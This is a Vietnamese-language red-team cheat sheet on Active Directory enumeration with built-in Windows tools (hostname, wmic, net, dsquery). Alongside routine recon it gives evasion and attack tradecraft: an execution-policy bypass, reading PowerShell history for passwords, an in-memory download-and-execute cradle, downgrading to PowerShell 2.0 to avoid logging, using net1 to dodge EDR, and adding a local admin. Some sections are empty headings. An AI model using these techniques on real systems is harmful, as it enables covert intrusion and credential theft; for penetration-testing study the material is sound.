Living Off the Land

Intro

Phương pháp này đảm bảo stealthy hơn, giảm thiểu các alert hoặc logging trong các hệ thống IDS/IPS và firewall, từ đó tăng khả năng ẩn mình khi tác chiến.

Trong tình huống giả định, khi redteamer/attacker không thể tải các tools vào máy kiểm thử/chiếm được và máy này không có kết nối internet, attacker sẽ chỉ sử dụng các công cụ built-in có để enumerate về Active Directory, tránh rủi ro bị detected do việc đưa tools bên ngoài vào internal.

Topic này đa phần là mình sẽ tổng hợp vì né đều có sẵn trên documents của Microsoft hoặc các command thông dụng:

Command

Result

hostname

Prints the PC's Name

[System.Environment]::OSVersion.Version

Prints out the OS version and revision level

wmic qfe get Caption,Description,HotFixID,InstalledOn

Prints the patches and hotfixes applied to the host

ipconfig /all

Prints out network adapter state and configurations

set

Displays a list of environment variables for the current session (ran from CMD-prompt)

echo %USERDOMAIN%

Displays the domain name to which the host belongs (ran from CMD-prompt)

echo %logonserver%

Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)

Systeminfo

Harnessing PowerShell

Cmd-Let

Description

Get-Module

Lists available modules loaded for use.

Get-ExecutionPolicy -List

Will print the execution policy settings for each scope on a host.

Set-ExecutionPolicy Bypass -Scope Process

This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.

Get-ChildItem Env: | ft Key,Value

Return environment values such as key paths, users, computer information, etc.

Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"

This is a quick and easy way to download a file from the web using PowerShell and call it from memory.

PowerShell event logging được introduced từ phiên bản 3.0 trở lên. Với ý nghĩ đó, ta có thể thử dùng PowerShell 2.0, các actions từ shell sẽ không write vào Event Viewer.

Kiểm tra các command shell chạy với PowerShell:

Applications and Services Logs > Microsoft > Windows > PowerShell > Operational > PowerShell Operational Log

Với Script Block Logging được enable, bất kì thứ gì ta nhập vào sẽ đều có trong log này. Nếu xuống version 2.0 thì log này không còn hoạt động nữa.

Firewall check

Windows Defender Check

Am I Alone?

Để check xem bạn có phải là người duy nhất đang ở trong phiên của host này hay không. Nếu window launch thì sẽ có một user khác đang dùng bị logout.

Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) là một script engine được sử dụng trong Windows enterprise để truy xuất thông tin và chạy các tác vụ quản trị trên các local và remote hosts.

Command

Description

wmic qfe get Caption,Description,HotFixID,InstalledOn

In ra các bản patched và mô tả của các hotfix

wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

Hiển thị các thông tin về máy cơ bản.

wmic process list /format:list

In ra tất cả process trên máy

wmic ntdomain list /format:list

Hiển thị các thông tin về domain và domain controller

wmic useraccount list /format:list

Hiển thị tất cả các local accounts và các domain accounts đã logged vào thiết bị

wmic group list /format:list

Hiển thị thông tin về tất cả local groups

wmic sysaccount list /format:list

Dumps thông tin về bất kì system accounts nào đang sử dụng làm service accounts.

Tham khảo thêm cheetsheet: https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4

Tài liệu trên trang Microsoft: https://learn.microsoft.com/en-us/windows/win32/wmisdk/using-wmi

Net Commands

net.exe có thể sử dụng để truy vấn các local hosts và remote hosts, giống với WMI, ta có thể list được các thông tin như:

  • Local and domain users

  • Groups

  • Hosts

  • Specific users in groups

  • Domain Controllers

  • Password requirements

net.exe thường được monitor bởi EDR và các lệnh tương tự như whoami, runas,...

Command

Description

net accounts

Information about password requirements

net accounts /domain

Password and lockout policy

net group /domain

Information about domain groups

net group "Domain Admins" /domain

List users with domain admin privileges

net group "domain computers" /domain

List of PCs connected to the domain

net group "Domain Controllers" /domain

List PC accounts of domains controllers

net group <domain_group_name> /domain

User that belongs to the group

net groups /domain

List of domain groups

net localgroup

All available groups

net localgroup administrators /domain

List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)

net localgroup Administrators

Information about a group (admins)

net localgroup administrators [username] /add

Add user to administrators

net share

Check current shares

net user <ACCOUNT_NAME> /domain

Get information about a user within the domain

net user /domain

List all users of the domain

net user %username%

Information about the current user

net use x: \computer\share

Mount the share locally

net view

Get a list of computers

net view /all /domain[:domainname]

Shares on the domains

net view \computer /ALL

List shares of a computer

net view /domain

List of PCs of the domain

Có một trick đó là sử dụng net1 thay thì net, đôi khi cũng sẽ bypass được việc trigger từ các EDR.

Dsquery

Dsquery được sử dụng để find các objects trong AD. Khá tương tự như PowerView và BloodHound. dsquery sẽ có ở các máy đã cài Active Directory Domain Services Role và DLL tồn trại trong C:\Windows\System32\dsquery.dll.

Có thể sử dụng dsquery wildcard search để xem tất cả các object của một OU.

Users With Specific Attributes Set (PASSWD_NOTREQD)

userAccountControl:1.2.840.113556.1.4.803 xác định một đối tượng của User Account Control (UAC) attributes. Phần này sẽ bao gồm 3 giá trị khác nhau khi tìm kiếm các thông tin của AD (được định nghĩa là Object Identifiers (OIDs)).

=8192 là decimal bitmask mà ta đang tìm kiếm. Tương ứng với UAC Atttribute flag để xác định xem password is not required hoặc account is locked.

Last updated